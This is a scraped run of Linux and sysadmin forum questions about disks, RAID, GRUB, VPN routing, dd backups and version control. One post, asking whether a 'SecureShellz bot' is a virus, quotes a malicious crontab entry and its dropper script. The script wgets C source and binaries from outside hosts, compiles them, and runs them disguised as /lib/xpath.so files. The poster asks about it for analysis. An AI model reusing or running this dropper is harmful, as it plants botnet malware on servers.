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• External USB 3 drive not recognized

  - by ilan123

  Ubuntu 12.10 64 bit seems not to recognize my external hard disk. It is a Vantec NST-310S3 external disk enclosure with a WD 3TB drive. The disk has two NTFS partitions. My PC is a dual boot system. Under Windows 7 the hard disk works fine but I can't make it work with Ubuntu. When the drive is connected to the PC then the command sudo fdisk -l seems to hang forever. Below are the output of lsusb and cat /proc/partitions without the external drive and then with it connected. I added also the last lines of the dmesg command at the end. First without the drive: ilan@linux:~$ lsusb Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13ba:0017 Unknown PS/2 Keyboard+Mouse Adapter Bus 001 Device 004: ID 046d:c50e Logitech, Inc. Cordless Mouse Receiver Bus 001 Device 005: ID 0ac8:3420 Z-Star Microelectronics Corp. Venus USB2.0 Camera ilan@linux:~$ cat /proc/partitions major minor #blocks name 8 0 1953514584 sda 8 1 102400 sda1 8 2 629043200 sda2 8 3 367001600 sda3 8 4 1 sda4 8 5 471859200 sda5 8 6 157286400 sda6 8 7 324115456 sda7 8 8 4101120 sda8 11 0 1048575 sr0 Second with the USB 3 drive: ilan@linux:~$ lsusb Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 004 Device 002: ID 174c:55aa ASMedia Technology Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13ba:0017 Unknown PS/2 Keyboard+Mouse Adapter Bus 001 Device 004: ID 046d:c50e Logitech, Inc. Cordless Mouse Receiver Bus 001 Device 005: ID 0ac8:3420 Z-Star Microelectronics Corp. Venus USB2.0 Camera ilan@linux:~$ cat /proc/partitions major minor #blocks name 8 0 1953514584 sda 8 1 102400 sda1 8 2 629043200 sda2 8 3 367001600 sda3 8 4 1 sda4 8 5 471859200 sda5 8 6 157286400 sda6 8 7 324115456 sda7 8 8 4101120 sda8 11 0 1048575 sr0 8 16 2930266584 sdb ilan@linux:~$ lsusb -v -s 004:002 Bus 004 Device 002: ID 174c:55aa ASMedia Technology Inc. Couldn't open device, some information will be missing Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 3.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 9 idVendor 0x174c ASMedia Technology Inc. idProduct 0x55aa bcdDevice 1.00 iManufacturer 2 iProduct 3 iSerial 1 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 44 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xc0 Self Powered MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0400 1x 1024 bytes bInterval 0 bMaxBurst 15 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x02 EP 2 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0400 1x 1024 bytes bInterval 0 bMaxBurst 15 ilan@linux:~$ sudo fdisk -l [sudo] password for ilan: Disk /dev/sda: 2000.4 GB, 2000398934016 bytes 255 heads, 63 sectors/track, 243201 cylinders, total 3907029168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xf1b4f1ee Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 1258293247 629043200 7 HPFS/NTFS/exFAT /dev/sda3 1258293248 1992296447 367001600 7 HPFS/NTFS/exFAT /dev/sda4 1992298494 3907028991 957365249 f W95 Ext'd (LBA) /dev/sda5 1992298496 2936016895 471859200 7 HPFS/NTFS/exFAT /dev/sda6 2936018944 3250591743 157286400 7 HPFS/NTFS/exFAT /dev/sda7 3250593792 3898824703 324115456 83 Linux /dev/sda8 3898826752 3907028991 4101120 82 Linux swap / Solaris dmesg output after connecting the external drive: [ 23.740567] e1000e: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: Rx/Tx [ 23.740786] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 49.144673] usb 4-1: >new SuperSpeed USB device number 2 using xhci_hcd [ 49.163039] usb 4-1: >Parent hub missing LPM exit latency info. Power management will be impacted. [ 49.166789] usb 4-1: >New USB device found, idVendor=174c, idProduct=55aa [ 49.166793] usb 4-1: >New USB device strings: Mfr=2, Product=3, SerialNumber=1 [ 49.166796] usb 4-1: >Product: AS2105 [ 49.166799] usb 4-1: >Manufacturer: ASMedia [ 49.166801] usb 4-1: >SerialNumber: 0123456789ABCDEF [ 49.206372] usbcore: registered new interface driver uas [ 49.228891] Initializing USB Mass Storage driver... [ 49.229042] scsi6 : usb-storage 4-1:1.0 [ 49.229115] usbcore: registered new interface driver usb-storage [ 49.229116] USB Mass Storage support registered. [ 64.045528] scsi 6:0:0:0: >Direct-Access WDC WD30 EZRX-00MMMB0 80.0 PQ: 0 ANSI: 0 [ 64.046224] sd 6:0:0:0: >Attached scsi generic sg2 type 0 [ 64.046881] sd 6:0:0:0: >[sdb] Very big device. Trying to use READ CAPACITY(16). [ 64.047610] sd 6:0:0:0: >[sdb] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB) [ 64.048368] sd 6:0:0:0: >[sdb] Write Protect is off [ 64.048373] sd 6:0:0:0: >[sdb] Mode Sense: 23 00 00 00 [ 64.048984] sd 6:0:0:0: >[sdb] No Caching mode page present [ 64.048987] sd 6:0:0:0: >[sdb] Assuming drive cache: write through [ 64.049297] sd 6:0:0:0: >[sdb] Very big device. Trying to use READ CAPACITY(16). [ 64.050942] sd 6:0:0:0: >[sdb] No Caching mode page present [ 64.050944] sd 6:0:0:0: >[sdb] Assuming drive cache: write through [ 94.245006] usb 4-1: >reset SuperSpeed USB device number 2 using xhci_hcd [ 94.262553] usb 4-1: >Parent hub missing LPM exit latency info. Power management will be impacted. [ 94.263805] xhci_hcd 0000:03:00.0: >xHCI xhci_drop_endpoint called with disabled ep ffff8800d37d1c00 [ 94.263808] xhci_hcd 0000:03:00.0: >xHCI xhci_drop_endpoint called with disabled ep ffff8800d37d1c40 [ 125.262722] usb 4-1: >reset SuperSpeed USB device number 2 using xhci_hcd [ 125.280304] usb 4-1: >Parent hub missing LPM exit latency info. Power management will be impacted. [ 125.281511] xhci_hcd 0000:03:00.0: >xHCI xhci_drop_endpoint called with disabled ep ffff8800d37d1c00 [ 125.281516] xhci_hcd 0000:03:00.0: >xHCI xhci_drop_endpoint called with disabled ep ffff8800d37d1c40

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• Odd company release cycle: Go Distributed Source Control?

  - by MrLane

  sorry about this long post, but I think it is worth it! I have just started with a small .NET shop that operates quite a bit differently to other places that I have worked. Unlike any of my previous positions, the software written here is targetted at multiple customers and not every customer gets the latest release of the software at the same time. As such, there is no "current production version." When a customer does get an update, they also get all of the features added to he software since their last update, which could be a long time ago. The software is highly configurable and features can be turned on and off: so called "feature toggles." Release cycles are very tight here, in fact they are not on a shedule: when a feature is complete the software is deployed to the relevant customer. The team only last year moved from Visual Source Safe to Team Foundation Server. The problem is they still use TFS as if it were VSS and enforce Checkout locks on a single code branch. Whenever a bug fix gets put out into the field (even for a single customer) they simply build whatever is in TFS, test the bug was fixed and deploy to the customer! (Myself coming from a pharma and medical devices software background this is unbeliveable!). The result is that half baked dev code gets put into production without being even tested. Bugs are always slipping into release builds, but often a customer who just got a build will not see these bugs if they don't use the feature the bug is in. The director knows this is a problem as the company is starting to grow all of a sudden with some big clients coming on board and more smaller ones. I have been asked to look at source control options in order to eliminate deploying of buggy or unfinished code but to not sacrifice the somewhat asyncronous nature of the teams releases. I have used VSS, TFS, SVN and Bazaar in my career, but TFS is where most of my experience has been. Previously most teams I have worked with use a two or three branch solution of Dev-Test-Prod, where for a month developers work directly in Dev and then changes are merged to Test then Prod, or promoted "when its done" rather than on a fixed cycle. Automated builds were used, using either Cruise Control or Team Build. In my previous job Bazaar was used sitting on top of SVN: devs worked in their own small feature branches then pushed their changes to SVN (which was tied into TeamCity). This was nice in that it was easy to isolate changes and share them with other peoples branches. With both of these models there was a central dev and prod (and sometimes test) branch through which code was pushed (and labels were used to mark builds in prod from which releases were made...and these were made into branches for bug fixes to releases and merged back to dev). This doesn't really suit the way of working here, however: there is no order to when various features will be released, they get pushed when they are complete. With this requirement the "continuous integration" approach as I see it breaks down. To get a new feature out with continuous integration it has to be pushed via dev-test-prod and that will capture any unfinished work in dev. I am thinking that to overcome this we should go down a heavily feature branched model with NO dev-test-prod branches, rather the source should exist as a series of feature branches which when development work is complete are locked, tested, fixed, locked, tested and then released. Other feature branches can grab changes from other branches when they need/want, so eventually all changes get absorbed into everyone elses. This fits very much down a pure Bazaar model from what I experienced at my last job. As flexible as this sounds it just seems odd to not have a dev trunk or prod branch somewhere, and I am worried about branches forking never to re-integrate, or small late changes made that never get pulled across to other branches and developers complaining about merge disasters... What are peoples thoughts on this? A second final question: I am somewhat confused about the exact definition of distributed source control: some people seem to suggest it is about just not having a central repository like TFS or SVN, some say it is about being disconnected (SVN is 90% disconnected and TFS has a perfectly functional offline mode) and others say it is about Feature Branching and ease of merging between branches with no parent-child relationship (TFS also has baseless merging!). Perhaps this is a second question!

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• Is SecureShellz bot a virus? How does it work?

  - by ProGNOMmers

  I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

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• Why does my dd backup of MacBook OS X fail to boot upon restore?

  - by James

  I created a backup of a MacBook hard drive (WD2500BEVS-88US) by hooking it up as a secondary drive on my linux system (Ubuntu 10.10). I used the following command: sudo dd if=/dev/sdc of=/home/backup.img bs=2M This appears to have completed with no errors. I noticed that the file is only 68 GB in size even though the drive is 250 GB in capacity. I restored the image to a spare drive (WD2500BEVS) with the following command: sudo dd if=/home/backup.img of=/dev/sdb bs=2M When I boot the spare drive in the Mac, it appears to start up for a few seconds and then shuts down. (It does not appear to load into the OS at all). When I open up the drive that won't boot in GParted, it looks like this: When looking at the information for the middle partition with the little red exclamation mark, it shows this: The original hard drive that boots ok shows up like this: Further info on both drives: sudo fdisk -l Disk /dev/sdb: 250.1 GB, 250059350016 bytes 255 heads, 63 sectors/track, 30401 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sdb1 1 30402 244198580 ee GPT WARNING: GPT (GUID Partition Table) detected on '/dev/sdc'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sdc: 250.1 GB, 250059350016 bytes 255 heads, 63 sectors/track, 30401 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sdc1 1 30402 244198580 ee GPT So why is my backup or restore failing? Why is dd not creating a byte for byte duplicate?

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• Route forwarded traffic through eth0 but local traffic through tun0

  - by Ross Patterson

  I have a Ubuntu 12.04/Zentyal 2.3 server configured with WAN NATed on eth0, local interfaces eth1 and wlan0 bridged on br1 on which DHCP runs, and an OpenVPN connection on tun0. I only need the VPN for some things running on the gateway itself and I need to make sure that everything running on the gateway goes through the VPNs tun0. root:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default gw... 0.0.0.0 UG 100 0 0 eth0 link-local * 255.255.0.0 U 1000 0 0 br1 192.168.1.0 * 255.255.255.0 U 0 0 0 br1 A.B.C.0 * 255.255.255.0 U 0 0 0 eth0 root:~# ip route 169.254.0.0/16 dev br1 scope link metric 1000 192.168.1.0/24 dev br1 proto kernel scope link src 192.168.1.1 A.B.C.0/24 dev eth0 proto kernel scope link src A.B.C.186 root:~# ip route show table main 169.254.0.0/16 dev br1 scope link metric 1000 192.168.1.0/24 dev br1 proto kernel scope link src 192.168.1.1 A.B.C.0/24 dev eth0 proto kernel scope link src A.B.C.D root:~# ip route show table default default via A.B.C.1 dev eth0 How can I configure routing (or otherwise) such that all forwarded traffic for other hosts on the LAN goes through eth0 but all traffic for the gateway itself goes through the VPN on tun0? Also, since the OpenVPN client changes routing on startup/shutdown, how can I make sure that everything running on the gateway itself loses all network access if the VPN goes down and never goes out eth0.

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• how to uninstall ubuntu 8 from ubuntu 10 dual boot

  - by umar

  I have ubuntu 8.04 and ubuntu 10.04 on my laptop, and i want to reclaim all the ubuntu 8 space so that i have just one operating system on my laptop. how can i do it? the output of sudo fdisk -l is as follows: sudo fdisk -l Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x31a431a3 Device Boot Start End Blocks Id System /dev/sda1 * 1 4959 39833136 83 Linux /dev/sda2 4960 5233 2200905 82 Linux swap / Solaris /dev/sda3 5234 12852 61192552 83 Linux /dev/sda4 12852 19458 53062657 5 Extended /dev/sda5 12852 19182 50847744 83 Linux /dev/sda6 19182 19458 2213888 82 Linux swap / Solaris i dont know which of sda1, ..., sda 6 etc ubuntu 8 is on. how can i find that out? The actual task is that i think a lot of space is devoted to ubuntu 8, if there is no easy way to get rid of it, then i want to repartition the disk so that about 50 GB of hard disk space is given to ubuntu 10's home folder from the ubuntu 8's home folder. but i hope that there is an easy way to get rid of ubuntu 8 alrogether and just have ubuntu 10 on my system.

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• Dual booting Linux/Win7, Grub refuses to load Win7

  - by JohnB

  Decided to give Linux Mint a try (Ubuntu's interface annoys me), so I installed it with the intention of dual booting with Windows 7. Installation went fine, but now I can only boot into Linux Mint. Grub lists two Windows 7 menu options, but selecting either of them causes an "unknown file system" error and dumps me into a Grub recovery prompt. There, I have to manually reset the root and prefix options, as they reset hd0,msdos6 when they should be hd0,msdos5. I ran Boot Repair twice, once to fix grub errors, once to rebuild the MBR, but it didn't fix anything. Here is the log: http://paste.ubuntu.com/1029675/ fdisk output: Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 1486249145 743021149 7 HPFS/NTFS/exFAT /dev/sda3 1486249982 1953523711 233636865 5 Extended /dev/sda5 1486249984 1945141247 229445632 83 Linux /dev/sda6 1945143296 1953523711 4190208 82 Linux swap / Solaris grub.cfg: ### BEGIN /etc/grub.d/30_os-prober ### menuentry "Windows 7 (loader) (on /dev/sda1)" --class windows --class os { insmod part_msdos insmod ntfs set root='(hd0,msdos1)' search --no-floppy --fs-uuid --set=root 86184D18184D091F chainloader +1 } menuentry "Windows 7 (loader) (on /dev/sda2)" --class windows --class os { insmod part_msdos insmod ntfs set root='(hd0,msdos2)' search --no-floppy --fs-uuid --set=root 56D84F84D84F60FB chainloader +1 } ### END /etc/grub.d/30_os-prober ### I have found a few similar troubleshooting guides so far, but so far no amount of updating/configuring Grub has been successful. Last resort is, I suppose, use the W7 recovery disc and start over. Thanks in advance! Linux Mint 13 Maya, 64-bit Windows 7 Home Edition, 64-bit

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• Unix VPS server going down at almost the same time every day

  - by ronnz

  My server load seems to be really spiking and many times the server goes down at the same time each night (Around midnight). I have about 20 cPanel accounts hosted on it and have tried everything I know to try to find what is causing the issue. Some of the things I have tried: Combined all site access logs found in /etc/httpd/domlogs and cannot see anything unusual at the time of server going down. Checked most other logs in the var/log directory and found nothing indicating the issue at the time the server is going down. Checked cron logs and cannot see anything unusual.. See below. Last night CPU spiked to 7.5 at 00:14. What else can I be checking? How can I really monitor to find out the root cause? Dec 8 00:05:01 v1 crond[6082]: (root) CMD (/usr/local/cpanel/bin/dcpumon /dev/null 2&1) Dec 8 00:05:01 v1 crond[6084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue /dev/null 2&1) Dec 8 00:10:01 v1 crond[6435]: (root) CMD (/usr/lib64/sa/sa1 1 1) Dec 8 00:10:01 v1 crond[6436]: (root) CMD (/usr/local/cpanel/bin/dcpumon /dev/null 2&1) Dec 8 00:15:12 v1 crond[6775]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt /dev/null 2&1) Dec 8 00:15:12 v1 crond[6776]: (root) CMD (/usr/local/cpanel/scripts/recoverymgmt /dev/null 2&1) Dec 8 00:15:12 v1 crond[6777]: (root) CMD (/usr/local/cpanel/bin/dbindex /dev/null 2&1) Dec 8 00:15:12 v1 crond[6781]: (root) CMD (/usr/local/cpanel/bin/dcpumon /dev/null 2&1) Dec 8 00:20:33 v1 crond[7047]: (root) CMD (/usr/lib64/sa/sa1 1 1)

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• cygwin sshd fails to allocate pty for some users

  - by user115851

  I have (finally) got sshd working under cygwin on Win7 - well, sort of. The sshd runs as user 'cyg_server'. I'm able to successfully ssh to my computer using that same user name. However, if I attempt to ssh using my normal (Windows) user name, it fails trying to allocate a pty for my login session. For example, output of 'sshd -D -d -d -d' contains this .. ... debug1: Entering interactive session for SSH2. debug2: fd 4 setting O_NONBLOCK debug2: fd 5 setting O_NONBLOCK debug1: server_init_dispatch_20 debug1: server_input_channel_open: ctype session rchan 0 win 1048576 max 16384 debug1: input_session_request debug1: channel 0: new [server-session] debug2: session_new: allocate (allocated 0 max 10) debug3: session_unused: session id 0 unused debug1: session_new: session 0 debug1: session_open: channel 0 debug1: session_open: session 0: link with channel 0 debug1: server_input_channel_open: confirm session debug1: server_input_global_request: rtype [email protected] want_reply 0 debug1: server_input_channel_req: channel 0 request pty-req reply 1 debug1: session_by_channel: session 0 channel 0 debug1: session_input_channel_req: session 0 req pty-req debug1: Allocating pty. debug1: session_pty_req: session 0 alloc /dev/pty1 !!! chown(/dev/pty1, 17308, 10513) failed: Invalid argument debug1: do_cleanup debug1: session_pty_cleanup: session 0 release /dev/pty1 Currently /dev is owned by my normal account. I've tried changing its ownership to cyg_server as well as SYSTEM. In both cases the problem persists. I've also changed permissions for /dev (e.g, 700 and 777) - again problem persists. [As a side note - it is strange that whenever I do 'ls -al /dev' the ptys do not show up. However, if I 'ls -l /dev/ptyX' for a pty I know to exist, it shows up. Is that normal for cygwin?] -Bob Andover, MA

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• Messed up USB stick doesn't show in blkid

  - by Felix

  I was playing around with a USB stick (booting archlinux with qemu off of it and trying to perform an installation on the same stick at the same time -- brave, I know, but I was just messing around). Now, after failing to boot and install at the same time, it seems I have sort of messed up my stick. What I think happened is that I used cfdisk to wipe everything on it and create one big partition, but formatting it then failed, so now there's a big partition with no filesystem. Just to make it clear: I'm not worried for my stick, I know I can recover it at any point. What I find intriguing is that after plugging the stick into my computer (using Ubuntu), there's no (terminal) way to find out what block device (/dev/sdx) it has associated. The only way I could determine that was with GParted: But blkid shows the following: /dev/sda1: UUID="12F695CFF695B387" LABEL="System Reserved" TYPE="ntfs" /dev/sda2: UUID="A0BAA6EABAA6BC62" TYPE="ntfs" /dev/sdb1: UUID="546aec8b-9ad6-4571-b07a-adba63e25820" TYPE="ext4" /dev/sdb2: UUID="2a8b82d8-6c6e-4053-a446-bab970d93d7c" TYPE="swap" /dev/sdb3: UUID="7cbede7d-c930-4e59-9d1b-01f2d79bd092" TYPE="ext4" No trace of /dev/sdc. My question is: if I didn't have a graphical interface (to use GParted), how would I have known which block device is my stick?

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• Move an existing RAID 5 array from Ubuntu to Gentoo

  - by Cocoabean

  I have a 64-bit Ubuntu machine with a 4-disk RAID 5 using software raid (md). I've been able to boot an Ubuntu LiveCD and recognize the array with a simple mdadm -A /dev/md0. It was easy to mount after that and nothing had to rebuild. I'm installing Gentoo on this box now (multi-boot, non-RAID root partition) and I have md auto-detect turned on in the kernel. When I boot Gentoo I get: "invalid superblock magic on sdd" for each of the drives in the array. I boot back to Ubuntu and they mount no problem. I tried copying the mdadm.conf that works in Ubuntu to Gentoo, and then ran mdadm -A /dev/md0 but it reports that there is no array named md0. I don't want to lose data (obviously) and I don't want to have to let the RAID rebuild every time I switch between OSes. Any help is appreciated. Both are using mdadm 3.1.4 Both are running 64-bit kernels. mdadm -D /dev/md0 from Ubuntu yields: http://pastebin.com/5gj2QNkV UPDATE: After rebooting I noticed that it still complains about invalid blocks, but cat /proc/mdstat shows an inactive /dev/md127 with the same disks as my raid. I want to mount it but I don't want to get stuck waiting for a rebuild or destroying it inadvertently. mdadm -D /dev/md127 Here is pastebin of mdadm -D /dev/md127 on gentoo: http://pastebin.com/gDCWn0Rn UPDATE II: dmesg output about 'invalid raid superblocks' http://paste.ubuntu.com/885471/ fdisk -l from Ubuntu, /dev/md0 does not have any partitions but I do have it mounted and accessible: http://paste.ubuntu.com/885475/

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• ssh over a tunnel in order to configure auto login

  - by Vihaan Verma

  I m trying to copy the id_rsa.pub key to the server. The server in my case also has a virutal machine called dev which runs on the host machine. I copied the id_rsa.pub key to the host for auto log in using this command. ssh-copy-id -i ~/.ssh/id_rsa.pub vickey@host which worked fine and I can auto log in to host. I also wanted to auto log in to the dev machine. I know I can just copy the contents of authorized_keys from the host machine to the dev machine but I m looking for a command line of doing things. Creating a tunnel seemed like the solution ssh vickey@host -L 2000:dev:22 -N now when I tried ssh-copy-id -i ~/.ssh/id_rsa.pub vickey@localhost -P 2000 the password that worked here was of my local machine , I expected it to ask me password of my dev machine. The above command adds the pub key to the local machine and not to the dev machine. However this commands asks me for the dev password and copies the files. scp -P 2000 vickey@localhost:/home/vickey/trash/vim . vickey@localhost's password: vim 100% 111 0.1KB/s 00:00 How do I do the same with ssh-copy-id ?

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• Copy from CDROM is very slow in Ubuntu

  - by ???

  I'm using the command to copy CDROM image: # dd if=/dev/sr0 of=./maverick.iso But it's very slow, at about 350k bytes/sec. I've searched the google, and try the command # hdparm -vi /dev/sr0 /dev/sr0: HDIO_DRIVE_CMD(identify) failed: Bad address IO_support = 1 (32-bit) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Inappropriate ioctl for device Model=DVD-ROM UJDA775, FwRev=DA03, SerialNo= Config={ Fixed Removeable DTR<=5Mbs DTR>10Mbs nonMagnetic } RawCHS=0/0/0, TrkSize=0, SectSize=0, ECCbytes=0 BuffType=unknown, BuffSize=unknown, MaxMultSect=0 (maybe): CurCHS=0/0/0, CurSects=0, LBA=yes, LBAsects=0 IORDY=yes, tPIO={min:180,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes: pio0 pio1 pio2 pio3 pio4 DMA modes: sdma0 sdma1 sdma2 mdma0 mdma1 mdma2 UDMA modes: udma0 udma1 *udma2 AdvancedPM=no Drive conforms to: ATA/ATAPI-5 T13 1321D revision 3: ATA/ATAPI-1,2,3,4,5 * signifies the current active mode Seems like DMA is already on. And a device test gives: # hdparm -t /dev/sr0 /dev/sr0: Timing buffered disk reads: 2 MB in 6.58 seconds = 311.10 kB/sec # sudo hdparm -tT /dev/sr0 /dev/sr0: Timing cached reads: 2 MB in 2.69 seconds = 760.96 kB/sec Timing buffered disk reads: m 4 MB in 5.19 seconds = 789.09 kB/sec The CD-ROM device and disc should be okay because I can copy it very fast in Windows, using UltraISO utility. So I guess there is something not configured right in Ubuntu, is it?

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• Dual-booting Ubuntu and Pardus with GRUB2...Pardus no show?

  - by Ibn Ali al-Turki

  Hello all, I have Ubuntu 10.10 installed and used to dual-boot Fedora, but I replaced Fedora with Pardus. After the install, I went into ubuntu, and did a sudo update-grub. It detected my Pardus 2011 install there. When I rebooted, it did not show up in my grub2 menu however. I went back to Ubuntu and did it again...then checked the grub.cfg, and it is not there. I have read that Pardus uses a grub legacy. How can I get Pardus into my grub2 menu? Thanks! sudo fdisk -l Disk /dev/sda: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xd9b3496e Device Boot Start End Blocks Id System /dev/sda1 * 1 15197 122067968 83 Linux /dev/sda2 36394 60802 196059757 5 Extended /dev/sda3 15197 30394 122067968 83 Linux /dev/sda5 36394 59434 185075308 7 HPFS/NTFS /dev/sda6 59434 60802 10983424 82 Linux swap / Solaris Partition table entries are not in disk order and update-grub Found linux image: /boot/vmlinuz-2.6.35-25-generic Found initrd image: /boot/initrd.img-2.6.35-25-generic Found memtest86+ image: /boot/memtest86+.bin Found Pardus 2011 (2011) on /dev/sda3 Yet after this, I go to grub.cfg, and Pardus is not there.

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• Will these instructions work when turning of journaling on a n ext4 SSD?

  - by snowlord

  I have an Acer Aspire One with an SSD for storage. I recently installed Ubuntu on it and chose ext4 for my filesystem. Then I read that journaling on an SSD isn't the best idea, so I will try to disable journaling and I have found these intstructions (from http://fenidik.blogspot.com/2010/03/ext4-disable-journal.html): # Create ext4 fs on /dev/sda10 disk mkfs.ext4 /dev/sda10 # Enable writeback mode. This mode will typically provide the best ext4 performance. tune2fs -o journal_data_writeback /dev/sda10 # Delete has_journal option tune2fs -O ^has_journal /dev/sda10 # Required fsck e2fsck -f /dev/sda10 # Check fs options dumpe2fs /dev/sda10 |more For more performance add fstab opions: data=writeback,noatime,nodiratime i.e: /dev/sda10 /opt ext4 defaults,data=writeback,noatime,nodiratime 0 0 I will use them on my boot partition. Are there any particularly bad parts here, or are there any missing steps? Will my boot partition be fit for being on an SSD after this? Or should I consider switching to ext2, or even reinstall it all and choose ext2 at partitioning time (I'd rather not though, since I've configured quite some stuff already)?

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• How to get an inactive RAID device working again?

  - by Jonik

  After booting, my RAID1 device (/dev/md_d0 *) sometimes goes in some funny state and I cannot mount it. * Originally I created /dev/md0 but it has somehow changed itself into /dev/md_d0. # mount /opt mount: wrong fs type, bad option, bad superblock on /dev/md_d0, missing codepage or helper program, or other error (could this be the IDE device where you in fact use ide-scsi so that sr0 or sda or so is needed?) In some cases useful info is found in syslog - try dmesg | tail or so The RAID device appears to be inactive somehow: # cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md_d0 : inactive sda4[0](S) 241095104 blocks # mdadm --detail /dev/md_d0 mdadm: md device /dev/md_d0 does not appear to be active. Question is, how to make active the device again (using mdmadm, I presume)? (Other times it's alright (active) after boot, and I can mount it manually without problems. But it still won't mount automatically even though I have it in /etc/fstab: /dev/md_d0 /opt ext4 defaults 0 0 So a bonus question: what should I do to make the RAID device automatically mount at /opt at boot time?) This is an Ubuntu 9.10 workstation. Background info about my RAID setup in this question.

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• lvm mirroring space unavailable.

  - by Bryan Ward

